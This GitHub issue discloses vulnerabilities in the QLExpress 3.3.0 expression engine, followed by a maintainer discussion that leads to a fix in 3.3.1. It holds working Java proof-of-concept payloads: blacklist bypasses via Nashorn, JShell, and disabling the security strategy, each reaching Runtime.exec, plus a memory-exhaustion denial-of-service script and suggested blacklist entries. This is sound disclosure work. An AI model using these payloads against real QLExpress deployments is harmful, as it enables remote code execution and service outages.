Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

QLExpress-3.3.0-vuln-poc[BUG] #233

Closed
luelueking opened this issue Jan 28, 2023 · 7 comments
Closed

QLExpress-3.3.0-vuln-poc[BUG] #233

luelueking opened this issue Jan 28, 2023 · 7 comments

Comments

@luelueking
Copy link

QLExpress-3.3.0-vuln-poc

在对QLExpress-3.3.0中,我发现了以下漏洞,可能导致代码执行(绕过黑名单)和拒绝服务(绕过黑白名单)。

针对1级防御

RCE

POC

针对黑名单的绕过,我总结了下三种无外部依赖的绕过姿势,以下是poc

package vuln;

import com.ql.util.express.DefaultContext;
import com.ql.util.express.ExpressRunner;
import com.ql.util.express.config.QLExpressRunStrategy;

/**
 * 黑名单绕过
 */
public class Test1 {
    public static void main(String[] args) throws Exception {
        // 开启黑名单
        QLExpressRunStrategy.setForbidInvokeSecurityRiskMethods(true);
        ExpressRunner runner = new ExpressRunner();
        DefaultContext<String, Object> context = new DefaultContext<String, Object>();

//        使用ScriptEngineManager绕过黑名单
//        String payload1_1 = "new javax.script.ScriptEngineManager().getEngineByName(\"nashorn\").eval(\"s=[2];s[0]='open';s[1]='/System/Applications/Calculator.app';java.lang.Runtime.getRuntime().exec(s);\");";
//        String payload1_2 = "new javax.script.ScriptEngineManager().getEngineByName(\"javascript\").eval(\"s=[2];s[0]='open';s[1]='/System/Applications/Calculator.app';java.lang.Runtime.getRuntime().exec(s);\")";


//        Jdk>9时采用jShell绕过
//        String payload2 = "jdk.jshell.JShell.create().eval('java.lang.Runtime.getRuntime().exec(\"open -a calculator.app\")')";

//        利用QLExpressRunStrategy关闭黑名单
        String payload3 = "import com.ql.util.express.config.QLExpressRunStrategy;QLExpressRunStrategy.setForbidInvokeSecurityRiskMethods(false);Runtime.getRuntime().exec(\"open -a calculator.app\");";
        runner.execute(payload3, new DefaultContext<>(), null, false, true);
    }
}

在这里插入图片描述

修复建议

  • 建议加强原本的黑名单

  • SECURITY_RISK_METHOD_LIST.add(QLExpressRunStrategy.class.getName()+".setForbidInvokeSecurityRiskMethods");
    SECURITY_RISK_METHOD_LIST.add("jdk.jshell.JShell.create");
    SECURITY_RISK_METHOD_LIST.add("javax.script.ScriptEngineManager.getEngineByName");
    SECURITY_RISK_METHOD_LIST.add("org.springframework.jndi.JndiLocatorDelegate.lookup");

针对2级防御

DoS

POC

在阅读防御措施相关代码后,我发现黑白名单的本质防御其实是对方法(Method)的禁用。当用户指定可执行方法的白名单时,确实能有效防御许多代码执行的方法。

但存在下面这种情况,可以造成OutOfMemoryError,导致堆内存泄漏,进而其他应用无法使用堆内存,从而导致DOS,也就是服务不可用(拒绝服务)。

以下是POC

public class Test2 {
    public static void main(String[] args) throws Exception {
      	// 开启白名单,并指定使用特定安全方法
        QLExpressRunStrategy.setForbidInvokeSecurityRiskMethods(true);
        QLExpressRunStrategy.addSecureMethod(RiskBean.class, "secureMethod");
        ExpressRunner runner = new ExpressRunner();
        DefaultContext<String, Object> context = new DefaultContext<String, Object>();
        String code = "byte[] bytes = new byte[2147483645];for (i=0;i<2147483645;i++) {new String(bytes);}";
        runner.execute(code, new DefaultContext<>(), null, false, true);
    }
}

在这里插入图片描述

修复建议

  • 当攻击者使用脚本多次像服务中发送恶意POC时,会导致DoS。这种攻击绕开了黑白名单的方法执行,而是直接申请堆内存空间。
  • 对此防御措施应该为当解释代码并执行时遇到OutOfMemoryError错误时应当捕获这个Throwable,并关闭掉runner的excute功能,防止服务中其他服务不可用(造成更大的危害)。

参考链接

报告人

@DQinYuan
Copy link
Collaborator

感谢报告,我们今天就发布一个新版本

@DQinYuan
Copy link
Collaborator

黑名单模式只允许在可信情况下使用,不建议给不可信用户输入。
接受任意外界输入的系统应该至少使用白名单模式

@DQinYuan
Copy link
Collaborator

DQinYuan commented Jan 31, 2023

第二个修复建议,感觉在引擎里做这个不太合适,会有性能影响。所有的脚本引擎都很难规避该问题
我考虑了一些替代方案,比如 限制最大数组申请长度/数组申请的总长度。
具体 OutOfMemoryError 的监控还是交给业务上监控并限流比较合适。看看是否可行?

@luelueking
Copy link
Author

第二个修复建议,感觉在引擎里做这个不太合适,会有性能影响。所有的脚本引擎都很难规避该问题
我考虑了一些替代方案,比如 限制最大数组申请长度/数组申请的总长度。
具体 OutOfMemoryError 的监控还是交给业务上监控并限流比较合适。看看是否可行?

限制最大数组申请长度/数组申请的总长度 我觉得可行

@luelueking
Copy link
Author

第二个修复建议,感觉在引擎里做这个不太合适,会有性能影响。所有的脚本引擎都很难规避该问题
我考虑了一些替代方案,比如 限制最大数组申请长度/数组申请的总长度。
具体 OutOfMemoryError 的监控还是交给业务上监控并限流比较合适。看看是否可行?

限制最大数组申请长度/数组申请的总长度 我觉得可行

Java的Memory Dos都是这种无限制的申请内存空间,当加以申请限制并在白名单保护下,攻击者很难突破

@DQinYuan DQinYuan mentioned this issue Feb 1, 2023
@luelueking
Copy link
Author

感谢报告,我们今天就发布一个新版本

能否帮我为此漏洞申请cve编号,我十分需要它,万分感谢

@DQinYuan
Copy link
Collaborator

3.3.1 版本 fix

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants